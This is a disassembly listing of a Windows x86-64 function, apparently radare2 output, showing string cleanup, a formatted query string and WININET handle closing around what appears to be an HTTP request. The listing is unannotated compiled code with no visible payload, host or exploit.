mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x14000172f
inc rdx
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x14000172a
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
jbe 0x140001a54
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov ecx, 0x2710
call fcn.14001e2bc
mov rdi, rax
mov qword [rbp + 0x120], rax
xor edx, edx
mov r8d, 0x2710
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
xor eax, eax
mov dword [rbp + 0x116], eax
mov dword [rbp + 0x110], 0x65435041
mov word [rbp + 0x114], 0x72
mov r9, r15
cmp qword [r15 + 0x18], 0xf
jbe 0x140003771
mov r9, qword [r15]
mov rax, r13
cmp qword [r13 + 0x18], 0xf
jbe 0x14000377f
mov rax, qword [r13]
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x110]
lea rdx, str._s_s____s
mov rcx, rdi
call fcn.1400010e0
mov r10, rsi
cmp qword [rsi + 0x18], 0xf
jbe 0x1400037ac
mov r10, qword [rsi]
mov rdx, r10
jmp 0x1400037af
mov rdx, rsi
mov rdi, 0xffffffffffffffff
mov rax, rdi
mov rcx, qword [rbp + 0x120]
inc rax
cmp byte [rcx + rax], 0
jne 0x1400037c0
nop dword [rax]
inc rdi
cmp byte [rdx + rdi], 0
jne 0x1400037d0
mov r8, rdi
mov dword [rsp + 0x20], eax
mov rdi, rcx
mov r9, rcx
mov rdx, r10
mov rcx, qword [rsp + 0x78]
call qword [0x140028810]
mov rcx, rdi
call fcn.14001dfb0
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rdi, qword [rsp + 0x50]
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
xor eax, eax
mov qword [rdi + 0x10], rax
mov qword [rdi + 0x18], rax
xor r8d, r8d
lea rdx, [0x1400238b0]
mov rcx, rdi
call fcn.140003cc0
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14000387e
inc rdx
cmp rdx, 0x1000
mov rcx, qword [rbx]
jb 0x140003879
mov r8, qword [rcx - 8]
sub rcx, r8
add rdx, 0x27
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140003b16
mov rcx, r8
call fcn.14001dfb0
xor eax, eax
mov byte [rbx], al
mov qword [rbx + 0x18], 0xf
mov qword [rbx + 0x10], rax
mov rdx, qword [r15 + 0x18]
cmp rdx, 0xf
jbe 0x1400038ca
inc rdx
cmp rdx, 0x1000
mov rcx, qword [r15]
jb 0x1400038c3
mov r8, qword [rcx - 8]
sub rcx, r8
add rdx, 0x27
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140003b1d
mov rcx, r8
call fcn.14001dfb0
xor eax, eax
mov byte [r15], 0
mov qword [r15 + 0x18], 0xf
mov qword [r15 + 0x10], rax
mov rdx, qword [r13 + 0x18]
cmp rdx, 0xf
jbe 0x140003915
inc rdx
cmp rdx, 0x1000
mov rcx, qword [r13]
jb 0x140003910
mov r8, qword [rcx - 8]
sub rcx, r8
add rdx, 0x27
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140003b24
mov rcx, r8
call fcn.14001dfb0
xor r15d, r15d
mov byte [r13], r15b
mov qword [r13 + 0x18], 0xf
mov qword [r13 + 0x10], r15
mov rbx, qword [rsp + 0x68]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x140003967
inc rdx
cmp rdx, 0x1000
mov rcx, qword [rbx]
jb 0x140003962
mov r8, qword [rcx - 8]
sub rcx, r8
add rdx, 0x27
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140003b2b
mov rcx, r8
call fcn.14001dfb0
mov byte [rbx], 0
mov qword [rbx + 0x18], 0xf
mov qword [rbx + 0x10], r15
mov rdx, qword [r14 + 0x18]
cmp rdx, 0xf
jbe 0x1400039b0
inc rdx
cmp rdx, 0x1000
mov rcx, qword [r14]
jb 0x1400039ab
mov r8, qword [rcx - 8]
sub rcx, r8
add rdx, 0x27
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140003b32
mov rcx, r8
call fcn.14001dfb0
mov byte [r14], 0
mov qword [r14 + 0x18], 0xf
mov qword [r14 + 0x10], r15
mov rbx, qword [rsp + 0x70]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x1400039ff
inc rdx
cmp rdx, 0x1000
mov rcx, qword [rbx]
jb 0x1400039fa
mov r8, qword [rcx - 8]
sub rcx, r8
add rdx, 0x27
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140003b39
mov rcx, r8
call fcn.14001dfb0
mov byte [rbx], 0
mov qword [rbx + 0x18], 0xf
mov qword [rbx + 0x10], r15
mov rdx, qword [r12 + 0x18]
cmp rdx, 0xf
jbe 0x140003a4a
inc rdx
cmp rdx, 0x1000
mov rcx, qword [r12]
jb 0x140003a45
mov r8, qword [rcx - 8]
sub rcx, r8
add rdx, 0x27
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140003b40
mov rcx, r8
call fcn.14001dfb0
mov byte [r12], 0
mov qword [r12 + 0x18], 0xf
mov qword [r12 + 0x10], r15
mov rbx, qword [rsp + 0x60]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x140003a9c
inc rdx
cmp rdx, 0x1000
mov rcx, qword [rbx]
jb 0x140003a97
mov r8, qword [rcx - 8]
sub rcx, r8
add rdx, 0x27
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140003b47
mov rcx, r8
call fcn.14001dfb0
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x140003ae1
inc rdx
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x140003adc
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140003b4e
mov rcx, r8
call fcn.14001dfb0
mov rax, rdi
mov byte [rsi], 0
mov qword [rsi + 0x18], 0xf
mov qword [rsi + 0x10], r15
mov rcx, qword [rbp + 0x530]
xor rcx, rsp
call fcn.14001df90
add rsp, 0x648
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3